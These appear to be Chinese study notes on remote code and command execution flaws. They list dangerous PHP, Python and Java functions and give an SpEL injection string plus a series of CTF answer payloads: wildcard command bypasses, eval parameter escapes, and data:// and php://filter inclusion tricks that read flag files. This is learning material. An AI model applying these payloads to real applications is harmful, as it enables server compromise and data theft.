RCE&代码执行&命令执行&无回显方案&语言表达式&黑盒功能点&白盒方法名
-RCE代码执行:引用脚本代码解析执行
-RCE命令执行:脚本调用操作系统命令
漏洞函数:
1.PHP:
PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
PHP命令执行函数:(在执行命令函数的时候可以指定目录../和命令所有可执行的操作用&管道去拼接操作命令)
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
2.Python:
eval exec subprocess os.system commands等
3.Java:
Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.
#RCE-代码执行
功能点举例:在线编程
#RCE-命令执行
功能点举例:系统面板
#RCE-Java&PHP
SPEL:(功能点举例:评论解析)
comment=T(java.lang.Runtime).getRuntime().exec('calc')
#其他漏洞引发链
注入,文件包含,反序列化等引发
#有回显&无回显
1、直接写个文件访问查看
2、直接进行对外访问接受
#黑盒案例
代码在线运行平台测试
#白盒CTF
29-通配符
system('tac fla*.php');
30-取代函数&通配符&管道符
`cp fla*.ph* 2.txt`;
echo shell_exec('tac fla*.ph*');
31-参数逃逸
eval($_GET[1]);&1=system('tac flag.php');
32~36-配合包含&伪协议
include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>
include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
37~39-包含RCE&伪协议&通配符
data://text/plain,<?php system('tac fla*');?>
php://input post:<?php system('tac flag.php');?>